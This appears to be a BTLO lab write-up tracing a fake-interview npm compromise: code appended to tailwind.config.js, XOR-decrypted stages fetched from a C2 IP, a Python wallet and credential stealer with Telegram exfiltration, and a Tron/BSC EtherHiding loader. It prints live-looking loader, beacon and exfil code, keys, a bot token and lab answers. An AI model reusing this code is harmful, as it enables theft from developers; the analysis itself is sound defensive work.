// BTLO  ·  Incident Response

TxDrop

BTLO Hard Node.js, volatility, Wireshark, MemProcFS, CyberChef

Scenario

A developer workstation at a mid-sized energy firm, EZ-CERT, was flagged by the SOC after outbound HTTP traffic was detected on a non-standard port during off-hours. The host was isolated and a memory image and PCAP captured before remediation. The affected employee, khaled.allam, was a backend developer whose last known activity before isolation was cloning a GitHub repository as part of an internal project evaluation. What followed was a sophisticated multi-stage compromise that evaded automated detection at every step.

This writeup walks the full attack chain end to end: from the appended JavaScript inside a tailwind.config.js file, through three XOR-encryption layers and three layers of obfuscator.io packing, to a Python information-stealer with an encrypted exfil archive, and finally to an EtherHiding loader that resolves its final InvisibleFerret RAT body live from a BSC transaction whose hash is itself stored as data on a Tron transaction (with Aptos as a fallback chain).

The artefacts provided are a 4 GB memory dump (EZ-CERT-20260330-154006.raw) and a network capture (Capture.pcapng), with the malware tooling pre-staged on a Windows analysis VM at C:\Users\BTLOTest\Desktop\Tooling\.


Methodology

Establishing ground truth — the host

The first move is mounting the memory image as a forensic filesystem so that every subsequent question has a place to point at. MemProcFS in forensic mode (-forensic 1) parses the dump for processes, registry, network sockets, modules, and an NTFS view, exposing everything under a drive letter.

MemProcFS.exe -device EZ-CERT-20260330-154006.raw -forensic 1

In parallel, Volatility 3 against the raw dump gives a fast pass at command lines and netstat. The first thing that stands out — and the first signal that this isn’t a typical office-worker compromise — is a node.exe process running with a Vite dev command line out of the user’s .npm directory:

python3 vol.py -f EZ-CERT-20260330-154006.raw windows.cmdline
python3 vol.py -f EZ-CERT-20260330-154006.raw windows.netstat

PID 7740 is node.exe, currently holding an open socket to a strange C2 host. That’s our handle on the live RAT, and the PID gets pinned down for a targeted process-memory dump later:

python3 vol.py -f EZ-CERT-20260330-154006.raw -o /tmp/ windows.memmap --pid 7740 --dump

Initial access — the cloned repository

Volatility’s command line output shows the developer cloned and ran a Vite project. Running strings against the memory image and grepping for github.com surfaces the source — a repository named NotMoSala/ShoeNikta:

The naming pattern (NotMoSala as a sock-puppet account with a single starred-but-rarely-touched repo) is consistent with the Contagious Interview / DeceptiveDevelopment campaign that Unit 42, Mandiant, and ESET have been tracking since 2022. The pattern is depressingly effective: a fake recruiter contacts a developer on LinkedIn, sends them a “take-home project” hosted on a freshly created GitHub account, and the project executes the moment the developer runs npm install and the dev server.

Inspecting the cloned project on disk surfaces the malicious file. The infection vector isn’t in package.json, not in a postinstall script, not in any obvious server file. It’s appended to the bottom of tailwind.config.js — a configuration file Vite imports and evaluates as part of its build pipeline. The developer never has to run anything explicit; spinning up the dev server with npm run dev is enough.

tailwind.config.js is a perfect cover. Developers paste config from blog posts without reading every line. It runs automatically inside Vite’s CommonJS module loader. And whatever code it contains executes with full Node privileges. From the MFT and process timeline, the moment of execution lines up neatly:

Stage 1 — the appended IIFE

The malicious payload begins at the end of tailwind.config.js with a self-invoking function. The body is heavily obfuscated, but the shape is recognisable: ES-module imports of http/https, then everything is hoisted onto global so the rest of the chain can access them by short alias.

import http from "http";import https from "https";import { request as httpRequest } from "http";import { request as httpsRequest } from "https";global.global = global;global.require = require;global.module = module;global.http = http;global.https = https;global.request = httpRequest;global.fetch = fetch;global.process = process;global['_V']='A9';if('function' ===typeof require)global['r' ]=require;if(typeof module=== 'object' )global['m']=module;var a0n,a0b,_global,a0a;(function(){var rms='',IaL=200-189;function gOe(z){var y=3547675;var w=z.length;var m=[];for(var x=0;x<w;x++){m[x]=z.charAt(x)};for(var x=0;x<w;x++){var f=y*(x+360)+(y%32226);var i=y*(x+326)+(y%51262);var a=f%w;var j=i%w;var g=m[a];m[a]=m[j];m[j]=g;y=(f+i)%3722251;};return m.join('')};var naW=gOe('wodstriuznuobanchgfcttycmroqrvelspkxj').substr(0,IaL);var Mcf='".) 1bl6uep(,b(r.72v.ir +"y1[dh.[h0j+lhio(9+qe"9i;h]h;vara+;1no,(y6p0,o9f7a,k2 7t,(5g8{ +v  cnvud6=rnav87,asf]A8};+=v,l4<,lgj "=ra(f u=) v(rij)kta0in".rgf)vg nl{[.]a=Ca1=(;(g;= =;mt=[7l}+=o!(4*0=9hfor;rr ...';var Rui=gOe[naW];var nWx='';var VfN=Rui;var Obe=Rui(nWx,gOe(Mcf));var tFh=Obe(gOe('K}K3=(.Kz%%wh ...'));var usn=VfN(rms,tFh );usn(9170);return 8509})()

A single line catches the eye: global['_V']='A9'. That A9 is the campaign identifier — set as a global so subsequent stages can read it without re-deriving anything — and it propagates all the way through the rest of the chain as a Sec-V HTTP header on every outbound request. It also drives the C2 branching logic that surfaces in Stage 3.

The decoder function gOe(z) is a seeded Fisher-Yates shuffle that consumes a string with one character per position, scrambles it deterministically, and returns the result. The first call resolves the literal "constructor" from a permuted alphabet (gOe('wodstri...').substr(0,11)constructor), which is then used as a property lookup on the function object itself: gOe['constructor'] returns the Function constructor. From there, a second Function(args, body) is built from a second decoded blob, which when invoked with a third decoded blob as its argument returns the Stage 2 source code as a string in the variable tFh. The final usn(9170) executes it.

The cleanest way to capture Stage 2 without letting the chain run is to insert a writeFileSync(tFh) between the tFh assignment and the usn() call, then neuter the four imports at the top so the file can run in a plain Node environment without a Vite wrapper. With the imports stubbed out and the execution intercepted, running the file in a sandbox dumps a 3240-byte stage2.js to disk — same obfuscator.io shape as Stage 1, but a different payload.

Stage 2 — the boot beacon, encryption identified

Stage 2 is the network beacon. Running it through the same Fisher-Yates string-array decoder used for Stage 1 — but accounting for the rotation pattern obfuscator.io introduces — reveals it’s a 37-element array that needs to be rotated 17 times before the indexed accessors match against the expected checksum. Once rotated, the strings are legible: "http://", "23.27.20.1", "43", ":", "/$/boot", "Sec-V", "ThZG+0jfXE", "6VAGOJ", a Chrome user-agent split into fragments, and so on.

Reconstructed as readable code, Stage 2 boils down to a single HTTP request and a single decryption loop:

js

// === Stage 2 (deobfuscated) ===
global._H = "http://" + "23.27.20.1" + "43" + ":" + 27017;
// global._H = "http://23.27.20.143:27017"

(async () => {
  await eval(
    function xorDecrypt(ciphertext) {
      const KEY = "ThZG+0jfXE" + "6VAGOJ";   // 16-byte cyclic XOR key
      const klen = KEY.length;
      let out = "";
      for (let i = 0; i < ciphertext.length; i++) {
        out += String.fromCharCode(
          ciphertext.charCodeAt(i) ^ KEY.charCodeAt(i % klen)
        );
      }
      return out;
    }(
      await new Promise((resolve, reject) => {
        const req = require('http').request({
          method: 'GET',
          hostname: '23.27.20.143',
          port: 27017,
          path: '/$/boot',
          headers: {
            'User-Agent': '<Chrome UA>',
            'Sec-V': global._V  // "A9"
          }
        }, (res) => {
          let data = '';
          res.on('data', (c) => data += c);
          res.on('end', () => resolve(data));
        });
        req.on('error', reject);
        req.end();
      })
    )
  );
})();

The discovery here is that this isn’t AES, despite multiple public writeups of related variants describing the campaign as AES-256-CBC. It’s a cyclic byte-wise XOR with the 16-byte key ThZG+0jfXE6VAGOJ (concatenated from two array fragments). The response from /$/boot is XORed against this key, then evaled in place.

Inspecting the PCAP confirms the beacon. Filter on ip.dst == 23.27.20.143 and http:

The custom Sec-V header carries the campaign tag verbatim:

Port 27017 is MongoDB’s default port — chosen here as cover. A naive egress-monitoring rule that allows “database” ports out by name on internal-network ranges would never flag this as web-shell traffic. Defenders should treat any HTTP-on-non-standard-port as suspicious by default.

Stage 3 — the orchestrator

Decrypting the captured /$/boot response with the recovered XOR key produces Stage 3, the orchestrator that does the bulk of the on-host work. One PowerShell one-liner with Node handles the XOR:

node -e "const k='ThZG+0jfXE6VAGOJ'; const d=require('fs').readFileSync('boot'); const o=Buffer.alloc(d.length); for(let i=0;i<d.length;i++) o[i]=d[i]^k.charCodeAt(i%k.length); require('fs').writeFileSync('stage3.js', o);"

Stage 3 itself is another obfuscator.io build — same Fisher-Yates string array, same hex-indexed accessors — but considerably larger. Running it through the in-tooling DeObfuscator.js produces a 1400-line stage4.js that’s directly readable.

What that file contains is the entire on-host playbook. Top of file: it imports core Node modules, gathers os.platform(), os.hostname(), os.userInfo().username, and reads a curated set of environment variables — K_SERVICE, VERCEL_HIVE_VERSION, NEXT_DEPLOYMENT_ID, __NEXT_PRIVATE_RUNTIME_TYPE, and friends. These aren’t being collected for fingerprinting alone; they’re being collected to exclude the host from execution if any of them match a sandbox profile.

Campaign-letter branching and the persistent C2

The next block reads the campaign identifier (the A9 from Stage 1, accessible as q) and uses its first character to select the persistent RAT C2 from a hardcoded table:

js

let secondaryC2;
if (q[0] === 'A')         secondaryC2 = '136.0.9.8';
else if (q[0] === 'C')    secondaryC2 = '23.27.202.27';
else if (/[0-9]/.test(q[0])) secondaryC2 = '198.105.127.210';

In this case q[0] === 'A', so the long-haul C2 for any operator command-and-control is 136.0.9.8. The 23.27.20.143:27017 host that delivered Stages 2 and 3 is throwaway delivery infrastructure; the persistent RAT operator sits on a separate IP that depends on which campaign letter the victim’s loader was branded with. Three different campaign letters, three different operator C2s, all baked into the same binary.

Environment exfiltration to /snv

Immediately after fingerprinting, Stage 3 POSTs the full set of host environment variables — minus the blocklist of platform-internal vars used for sandbox detection — to a new endpoint:

POST http://23.27.20.143:27017/snv

The exclusion list is what gives the sandbox-detection design away: variables like pm_uptime, created_at, restart_time, vizion_running, RUST_MIN_STACK, NEXT_DEPLOYMENT_ID, NEXT_PRIVATE_TRACE_ID, NEXT_PRIVATE_WORKER, __NEXT_PRIVATE_RUNTIME_TYPE, and prev_restart_delay are the exact fingerprint variables the next block uses to identify Expo turtle-workers, Vercel build sandboxes, Next.js prerender workers, and similar CI/serverless environments. Stripping them out of the exfil — but checking for them on disk — means a defender who only inspects the /snv request body sees a clean-looking host inventory and misses the sandbox-evasion logic entirely.

Sandbox and CI detection (cases 0–12)

Stage 3 then runs a 13-case switch checking for Vercel, AWS Lambda, Azure Functions, GCP Cloud Run, Kali, contaboserver hostnames, Expo turtle-worker patterns, devcontainer environments, and two named developer-test machines (EV-CHQG3L42MMQ and EV-4A6OE6M0E2D) that get a special “Test-Blocked” message rather than the generic “Blocked by security” response. These two hostnames are likely the malware author’s own debug rigs — a hunting signal worth carrying back to the SIEM as a Sigma rule.

Hosts matching any case post back to /verify-human/A9 on the secondary C2 and exit cleanly. EZ-CERT’s khaled.allam workstation matches none of the sandbox patterns, so execution proceeds.

Security-tool evasion via MD5

Before any further infection work, Stage 3 runs tasklist /FO CSV /NH and computes an MD5 of every process name beginning with O:

const procs = (await exec('tasklist /FO CSV /NH'))
  .stdout.split('\r\n')
  .map(l => l.split(',')[0].replace(/"/g, ''))
  .filter(name => name.startsWith('O'));

for (const name of procs) {
  if (md5(name) === '9a47bb48b7b8ca41fc138fd3372e8cc0') {
    await postToC2('Blocked by security');
    process.exit();
  }
}

The MD5 is 9a47bb48b7b8ca41fc138fd3372e8cc0. Brute-forcing the plaintext didn’t surface a hit against common O-prefixed analyst tools (OllyDbg, OllyICE, OllyDump and all reasonable casings/extensions), so the answer to the lab’s MD5 question is the hash literal itself — the malware authors deliberately use a one-way hash precisely so the targeted tool name isn’t recoverable from static analysis.

The lock file — singleton enforcement

Stage 3 enforces a single concurrent instance of the Python stealer using a portalocker-style lock file at a hardcoded path under %LOCALAPPDATA%\Temp\:

v.readFileSync(u.join(a1, 'Temp', 'tmp7A863DD1.tmp'));
// catches EBUSY -> "still running...", waits 15s, retries up to 3 times

The full path is C:\Users\khaled.allam\AppData\Local\Temp\tmp7A863DD1.tmp:

Pulling the MFT entry for that file from MemProcFS’s NTFS forensic view gives the $STANDARD_INFORMATION create timestamp:

The lock file was created at 2026-03-30 15:38:10 — three seconds before the dynamic staging filename gets the _153814 timestamp baked into it, which lines up cleanly: Python starts → portalocker acquires the lock → stealing runs for ~4 seconds → the exfil zip name is computed using the post-completion timestamp.

The Python stealer drop

Stage 3 then either uses a pre-installed Python (checking C:\Users\khaled.allam\AppData\Local\Programs\Python\Python3127\python.exe) or, if Python isn’t present, downloads a portable Python from the C2 via either tar-extractable zip or 7zr.exe-extractable 7z (with both download URLs hardcoded). With Python ready, it fetches /$/z1 with the same Stage 2 HTTP shape, base64-decodes the response, XORs it with a new 16-byte key 9KyASt+7D0mjPHFY, and pipes the result into a Python subprocess as the stealer source code.

The z1 response captured in the PCAP can be extracted as a raw file. MD5 of that raw file (the stealer payload prior to any deobfuscation) is 1B64F88B33898EABF8CA760606F8CDD9 — the answer the lab is looking for. Decoding it locally produces a zlib-compressed Python source which, when inflated, is the full InvisibleFerret stealer.

z1 — the Python InvisibleFerret stealer

The decompressed z1_layer2.py is heavily minified — every string constant is hoisted to a single-letter or double-letter name at the top of the file, and the body uses those names. That’s not real obfuscation, just minification, and the constants are all legible plaintext.

Three findings matter immediately.

The encrypted exfil archive password is in cleartext at line 2:

C0 = ',./,./,./'

That’s the QWERTY keyboard pattern (bottom-right row .-/-, reversed and repeated three times). It’s a known DPRK signature reused across multiple Contagious Interview samples — worth a hunting rule on its own.

The password feeds the BP() function that drives pyzipper.AESZipFile with WZ_AES encryption:

def BP(folder_path, output_file, password, compression):
    D = AK.AESZipFile(output_file, X, compression=compression, encryption=AK.WZ_AES)
    if password: D.pwd = password.encode()
    # ... walk folder, encrypt-add each file

The Telegram exfil fallback is similarly cleartext, at line 921 and around line 30:

BY = 'http://23.27.202.27:27017'  # fallback C2 (matches 'C' campaign letter)
BZ = '7609033774'                  # Telegram chat ID
# bot token assembled from constant fragments
botToken = '7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU'
endpoint = f'https://api.telegram.org/bot{botToken}/sendDocument'

Hitting Telegram’s getMe endpoint with that token returned a 200 response at the time of analysis, identifying the bot as @file_1018_bot (display name “File Bot”). That fact — that the actor’s exfiltration infrastructure was still live on a public API when the lab artefacts were collected — is the most actionable hunting signal in the entire analysis. The bot ID 7870147428 can be pivoted across Telegram to look for other campaigns operated by the same actor.

The exfil archive structure is built into the staging logic. The Python stealer walks browser profile directories and writes harvested data into a temporary staged/ folder before BP-zipping it:

staged/
├── login/        # browser saved passwords (Chrome/Edge/Brave/Firefox)
├── login-db/     # raw Login Data sqlite copies
├── spf/          # seed-phrase finder output (wallet scraper)
└── _info.json    # campaign metadata

The full target list inside the stealer is over eighty browser extensions plus native wallet apps: MetaMask, Phantom, Coinbase Wallet, Trust, Trezor Suite, Ledger Live, Solflare, Rabby, OKX, Brave Wallet, Tronlink, Keplr, and so on. Plus credentials from the major password managers — Bitwarden, NordPass, Dashlane, 1Password — pulled directly from their browser extension storage.

The completed exfil zip on this host is at:

C:\Users\khaled.allam\.npm\EZ-CERT$khaled.allam_260330_153814#FC582261.zip

The naming pattern <HOSTNAME>$<USERNAME>_<YYMMDD>_<HHMMSS>#<8hex>.zip is built deterministically from the SESSION_ID, which itself is the original _V (A9) plus a randomised tail. Useful as a YARA rule for hunting zip files matching this exact pattern in NPM cache directories — that’s pure malware artefact, no legitimate use case.

Extracting the zip with pyzipper using the ,./,./,./ password and hashing _info.json gives 50F0B29EC447B8B9FCD397BFF35389AD — the answer the lab wants for the campaign metadata file.

The clientCode RAT — EtherHiding via Tron and Aptos

Halfway through stage4.js is a second embedded base64 blob assigned to a variable named X, accompanied by a 16-character XOR key 4#uLeVM[3lESLGA. The blob is decoded the same way as z1 — base64 → XOR — and the result is spawned as a separate Node process via node -e <decoded>. This is the RAT loader, separate from the credential-stealing Python process.

Decoding it produces yet another Fisher-Yates IIFE in the same shape as Stage 1 — a 44-element string array, a Fisher-Yates Gez decoder, a Function constructor invocation. Dumping with the same intercept trick produces a final readable script of about 4 KB. This is JADESNOW, UNC5342’s blockchain-loader for the InvisibleFerret JS variant.

The interesting code lives in a single async function:

const n = await t(
  'cA]2!+37v,-szeU}',                                                    // XOR key
  'TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe',                                  // Tron address
  '0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837'   // Aptos address (fallback)
);
eval(n);

t() does the chain resolution:

  1. Primary: Query Tron — https://api.trongrid.io/v1/accounts/<addr>/transactions?only_confirmed=true&only_from=true&limit=1. Take the latest outgoing transaction. Pull raw_data.data, hex-decode, character-reverse, and the result is a BSC transaction hash.
  2. Fallback: If Tron returns nothing or 403, query Aptos — https://fullnode.mainnet.aptoslabs.com/v1/accounts/<addr>/transactions?limit=1. Same hash extraction logic.
  3. Resolve: With the BSC hash in hand, call eth_getTransactionByHash against bsc-dataseed.binance.org (with bsc-rpc.publicnode.com as a backup RPC). Pull result.input, strip the 0x prefix, hex-decode to UTF-8, split on the delimiter ?.? and take the second half. That’s the ciphertext.
  4. Decrypt: XOR the ciphertext against the key cA]2!+37v,-szeU} (16 bytes). The plaintext is JavaScript. eval() it.

This is EtherHiding in its triple-chain form. The malware doesn’t hardcode the final payload anywhere; it doesn’t even hardcode the payload’s location. It hardcodes only the resolver — two blockchain addresses, an XOR key, and a delimiter — and pulls the actual payload pointer dynamically from a public blockchain. The attacker rotates the payload by publishing a new transaction from the Tron address pointing to a new BSC transaction; takedown requires either kicking the attacker off Tron/BSC (impossible — they’re permissionless and global) or block-listing the resolver endpoints on every developer egress (high false-positive cost; legit dApps use the same hosts).

Resolving the chain live against the public Tron and BSC RPC endpoints from a Linux box returns:

Tron raw_data.data (hex): 343539323866356337393863613734383730626666393065643139333830613436616437363362623832626435616237333334653764376661303030623430387830
Resolved BSC TX hash:     0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954

That hash is 0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954 — the answer for the EtherHiding question. (The hardcoded 0x3414... in the source is the Aptos account address; it has the right shape for a TX hash and is easy to misread as one, which is plausibly part of the design — a defender sweeping for 0x + 64 hex strings in samples ends up chasing the account address instead of the transaction it leads to.)

Pulling the BSC transaction’s input field, hex-decoding, splitting, and XOR-decrypting produces a 91 KB JS file — InvisibleFerret. It’s itself an obfuscator.io build with RC4 + base64 string encoding (the most aggressive layer in the chain), but the catch-block structure visible after one round of decoding reveals the final piece.

InvisibleFerret — the persistence layer

Once the strings are extracted from the InvisibleFerret JS via a custom RC4 decoder, the persistence mechanism becomes legible. The RAT iterates through five hardcoded Electron app installation directories under %LOCALAPPDATA%\ — each install has a Squirrel-style app-<name> folder — and inserts its stager code into a JS file inside each one. Each app gets its own try { ... } catch (e) { ... } block; the catch variables are named after the apps.

Filtering the dumped strings for the recognisable shapes turns up:

app-antigravity
app-cursor
app-discord
app-GitHubDesktop
app-vscode

Alphabetised and stripped of the app- prefix, the five apps the catch statements name are antigravity, cursor, discord, GitHubDesktop, vscode.

The combination is dating evidence. Antigravity is Google’s AI-native IDE which launched in October 2025. Cursor is similar — the developer-AI editor fork of VSCode. For this variant to specifically include them in its Electron persistence list places its build date in late 2025 at the earliest, making this one of the freshest BeaverTail-OtterCookie-JADESNOW samples in the wild. The targeting bias is unmistakable: every app on the list is something a software developer would have on their machine. Discord and GitHubDesktop for community and source control, VSCode/Cursor/Antigravity for the editor itself.

The persistence works because Electron apps load JS files at startup with full process privileges. Injecting the stager into any of the apps’ JS files means it executes every time that app launches — and Electron app uninstalls frequently leave their %LOCALAPPDATA%\app-* directories behind, so the persistence often survives even an apparent removal.

The RAT command channel — socket.io-client

The RAT body imports socket.io-client and connects back to the campaign-letter-selected C2 (136.0.9.8 for this A9 infection) on the same 27017 port. The connection persists, listens for operator commands, and reports back with structured JSON. Each report carries a runtime identifier built at process start:

boot-eval-0330153749316

Format is boot-eval-<MMDDHHMMSS><ms> — the timestamp the RAT first eval’d inside the spawned Node process, with millisecond precision. Reporting that string in error/status messages lets the operator correlate logs across many concurrent infections to a single execution instance.

The live RAT process is the same Node PID we tagged at the start: 7740, currently holding the socket to the C2.

Closing the loop

The full chain, in execution order, ran in roughly 90 seconds from the moment the developer ran npm run dev:

15:36:39  Developer runs `npm run dev` -> Vite imports tailwind.config.js
          -> Stage 1 IIFE executes, Stage 2 fetched from /$/boot (XOR ThZG+0jfXE6VAGOJ)
          -> Stage 3 executes, host fingerprinted, /snv exfil POSTed
          -> Sandbox / O-process MD5 check both pass
          -> /$/z1 fetched (XOR 9KyASt+7D0mjPHFY), Python stealer spawned
15:38:10  Python acquires portalocker lock on tmp7A863DD1.tmp
15:38:14  Stealer completes; staging dir compressed to AES-encrypted zip
          -> POST /u/f exfil + Telegram @file_1018_bot fallback
15:38:?? clientCode XOR-decoded (4#uLeVM[3lESLGA), spawned as separate Node process
          -> JADESNOW queries Tron @ TLmj13VL... -> BSC TX hash extracted
          -> bsc-dataseed queries 0x804b... TX -> input XOR-decrypted (cA]2!+37v,-szeU})
          -> InvisibleFerret RAT eval'd
          -> RAT injects stager into five Electron apps (antigravity, cursor,
             discord, GitHubDesktop, vscode) and opens socket.io to 136.0.9.8:27017

By the time the SOC noticed the anomalous outbound traffic, browser credentials, wallet seed phrases, password manager dumps, and the entire environment fingerprint were on 23.27.202.27:27017, 136.0.9.8:27017, and @file_1018_bot. The host was clean of staged files (Stage 3’s cleanup logic and the Python stealer both remove their staging directories), but the RAT was still running, the Electron persistence injections were in place, and the encrypted exfil zip was sitting in the user’s .npm directory waiting to be re-shipped if the primary upload had failed.


Attack Summary

Phase Action
Initial Access Developer clones github.com/NotMoSala/ShoeNikta as part of fake interview / project evaluation
Execution Vite imports tailwind.config.js -> appended IIFE runs Stage 1 inside Node
Stage 1 Decodes Stage 2 via Fisher-Yates shuffle + Function constructor chain
Stage 2 GET http://23.27.20.143:27017/$/boot with Sec-V: A9 -> XOR-decrypt response with ThZG+0jfXE6VAGOJ -> eval
Stage 3 Host fingerprint -> POST /snv with env vars -> sandbox checks (cases 0-12) -> tasklist /O-process MD5 evasion check -> portalocker lock @ %LOCALAPPDATA%\Temp\tmp7A863DD1.tmp
Python Drop GET /$/z1 -> XOR-decrypt with 9KyASt+7D0mjPHFY -> zlib inflate -> spawn python subprocess
Credential Theft Walk browser profiles (Edge/Chrome/Brave/Firefox), wallet extensions (80+ targets), password manager extensions -> stage in staged/{login,login-db,spf,_info.json}
Exfiltration (primary) AESZipFile (pyzipper, WZ_AES) with password ,./,./,./ -> POST to /u/f on campaign-letter C2 (136.0.9.8 for A)
Exfiltration (fallback) Telegram sendDocument via @file_1018_bot (token 7870147428:…) to chat 7609033774
RAT Drop clientCode blob XOR-decrypted with 4#uLeVM[3lESLGA -> spawn Node subprocess (JADESNOW loader)
Payload Resolution Query Tron account TLmj13VL... (Aptos 0x3414... fallback) -> hex-decode + reverse latest tx raw_data -> BSC TX hash 0x804b...
Payload Fetch eth_getTransactionByHash on bsc-dataseed.binance.org -> extract input -> XOR-decrypt with cA]2!+37v,-szeU} -> eval -> InvisibleFerret JS
Persistence Inject stager into JS files under %LOCALAPPDATA%\app-{antigravity,cursor,discord,GitHubDesktop,vscode}\
Command & Control socket.io-client connection to 136.0.9.8:27017, runtime identifier boot-eval-0330153749316

IOCs

Type Value
GitHub Repository hxxps[://]github[.]com/NotMoSala/ShoeNikta
File (Initial Access) tailwind.config.js (modified)
Campaign ID (Sec-V header) A9
C2 (Delivery / Env Exfil) hxxp[://]23[.]27[.]20[.]143:27017
C2 Endpoint /$/boot (Stage 3 delivery)
C2 Endpoint /$/z1 (Python stealer delivery)
C2 Endpoint /snv (env var exfil)
C2 Endpoint /u/f (zip exfil)
C2 Endpoint /verify-human/A9 (status reporting)
C2 (Persistent RAT — letter A) 136[.]0[.]9[.]8:27017
C2 (Persistent RAT — letter C) 23[.]27[.]202[.]27:27017
C2 (Persistent RAT — digit) 198[.]105[.]127[.]210:27017
Tron Address (EtherHiding) TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe
Aptos Address (Fallback) 0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837
BSC TX (Live-resolved Payload) 0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954
Blockchain API hxxps[://]api[.]trongrid[.]io
Blockchain API hxxps[://]fullnode[.]mainnet[.]aptoslabs[.]com
Blockchain API hxxps[://]bsc-dataseed[.]binance[.]org
Blockchain API (Fallback) hxxps[://]bsc-rpc[.]publicnode[.]com
Telegram Bot Token 7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU
Telegram Bot Username @file_1018_bot
Telegram Bot Display Name File Bot
Telegram Chat ID 7609033774
XOR Key (Stage 2 -> 3) ThZG+0jfXE6VAGOJ
XOR Key (z1 Python Stealer) 9KyASt+7D0mjPHFY
XOR Key (clientCode RAT) 4#uLeVM[3lESLGA
XOR Key (InvisibleFerret BSC Payload) cA]2!+37v,-szeU}
AES Zip Password (pyzipper) ,./,./,./
Process Evasion MD5 (O-prefix) 9a47bb48b7b8ca41fc138fd3372e8cc0
Lock File C:\Users\khaled.allam\AppData\Local\Temp\tmp7A863DD1.tmp
Lock File Created 2026-03-30 15:38:10
Exfil Zip Path C:\Users\khaled.allam.npm\EZ-CERT$khaled.allam_260330_153814#FC582261.zip
Exfil Zip Naming Pattern <HOSTNAME>$<USERNAME>_<YYMMDD>_<HHMMSS>#<8hex>.zip
_info.json MD5 50F0B29EC447B8B9FCD397BFF35389AD
Raw z1 MD5 (pre-deobfuscation) 1B64F88B33898EABF8CA760606F8CDD9
RAT Runtime Identifier Format boot-eval-MMDDHHMMSSmmm
RAT Runtime Identifier (this infection) boot-eval-0330153749316
RAT Package socket.io-client
RAT Process PID 7740 (node.exe)
Persistence Path %LOCALAPPDATA%\app-antigravity|
Persistence Path %LOCALAPPDATA%\app-cursor|
Persistence Path %LOCALAPPDATA%\app-discord|
Persistence Path %LOCALAPPDATA%\app-GitHubDesktop|
Persistence Path %LOCALAPPDATA%\app-vscode|
Author Test Hostname EV-CHQG3L42MMQ
Author Test Hostname EV-4A6OE6M0E2D

MITRE ATT&CK

Technique ID Description
Compromise Software Dependencies and Development Tools T1195.001 Malicious code appended to tailwind.config.js inside cloned npm/Vite project, executed at build time
Trusted Relationship T1199 Fake recruiter / fake interview lure (Contagious Interview campaign)
JavaScript T1059.007 Stage 1-3 + JADESNOW + InvisibleFerret all JS, executed by Node and Vite
Python T1059.006 Stealer (z1) is a Python subprocess spawned by Stage 3
Obfuscated Files or Information T1027 Multi-layer obfuscator.io packing + XOR encryption across all payload stages
Encrypted/Encoded Files T1027.013 Cyclic XOR on Stage 2->3, z1, clientCode, and InvisibleFerret payload (four separate keys)
Deobfuscate/Decode Files or Information T1140 All stages perform runtime XOR + base64 + obfuscator.io decode chain before eval
Dead Drop Resolver T1102.001 BSC TX hash stored in Tron transaction data (with Aptos fallback) — full EtherHiding chain
Web Protocols T1071.001 HTTP beacons on port 27017 with custom Sec-V header for delivery, env exfil, and zip exfil
Non-Standard Port T1571 Use of TCP 27017 (MongoDB default) for HTTP C2 to blend with database traffic baselines
Web Service: Bidirectional Communication T1102.002 socket.io-client maintained connection to 136.0.9.8:27017 for operator command and control
Exfiltration Over C2 Channel T1041 Primary exfil POST of pyzipper-encrypted archive to /u/f on campaign-letter C2
Exfiltration Over Web Service: Telegram T1567.002 Fallback exfil via Telegram sendDocument API to @file_1018_bot
Clipboard Data T1115 Python stealer reads clipboard contents during harvesting pass
Credentials from Web Browsers T1555.003 Login Data sqlite dumps from Edge, Chrome, Brave, Firefox (key4.db, logins.json, cookies.sqlite)
Credentials from Password Stores T1555.005 Browser-extension storage harvested from Bitwarden, NordPass, Dashlane, 1Password
Steal Web Session Cookie T1539 Cookie databases bundled into login-db/ in staging directory before encryption
Virtualization/Sandbox Evasion: System Checks T1497.001 13-case switch detecting Vercel/AWS Lambda/Azure/GCP/Kali/Expo turtle-worker/devcontainer hosts
Security Software Discovery T1518.001 tasklist /FO CSV /NH with MD5 comparison of every O-prefixed process against hardcoded hash
System Information Discovery T1082 os.platform/hostname/userInfo/release pulled into Stage 3 fingerprint
Process Discovery T1057 tasklist enumeration as part of evasion check
Compromise Client Software Binary T1554 InvisibleFerret injects stager JS into legitimate Electron app installations (Discord, Cursor, VSCode, GitHubDesktop, Antigravity)
File and Directory Discovery T1083 Stealer walks user profile, browser data directories, wallet extension storage
Ingress Tool Transfer T1105 Portable Python download + 7zr.exe fallback if Python not installed; clientCode spawned as separate Node process
Indicator Removal: File Deletion T1070.004 Stage 3 and Python stealer remove staging directories post-exfil

Defender Takeaways

npm config files are a blind spot. tailwind.config.js, next.config.js, vite.config.ts, postcss.config.js, webpack.config.js, and .eslintrc.js are all JavaScript files that build tools execute automatically at startup with full Node privileges. They sit outside the scope of npm audit, they’re rarely covered by CI lint rules that check for arbitrary code execution, and they’re widely copy-pasted from blog posts and Stack Overflow without inspection. Audit any third-party config file in any project cloned from an unknown source within the last six months — search for IIFEs, base64 strings longer than 1KB, references to http/https modules, and any Function/eval calls. The Contagious Interview campaign uses exactly this surface, and the variant in this lab demonstrates how invisible the payload can be.

EtherHiding cannot be taken down at the network layer. Block-listing api.trongrid.io, fullnode.mainnet.aptoslabs.com, and bsc-dataseed.binance.org on developer egress will break legitimate dApp development, web3 tooling, and major enterprise products like MetaMask and Coinbase Wallet. The attacker can rotate the BSC payload pointer by publishing a new Tron transaction at zero cost and without leaving a takedown surface. The defence has to move up the chain — to the npm supply-chain compromise itself — because once the loader is on the host, the payload pipeline is effectively un-blockable. For organisations whose developers don’t legitimately need blockchain access, a default-deny egress rule with a one-click exception path is the right posture; for those that do, focus detection on the unusual combination of a developer machine making both api.trongrid.io and bsc-dataseed.binance.org requests within a short window from a non-browser process.

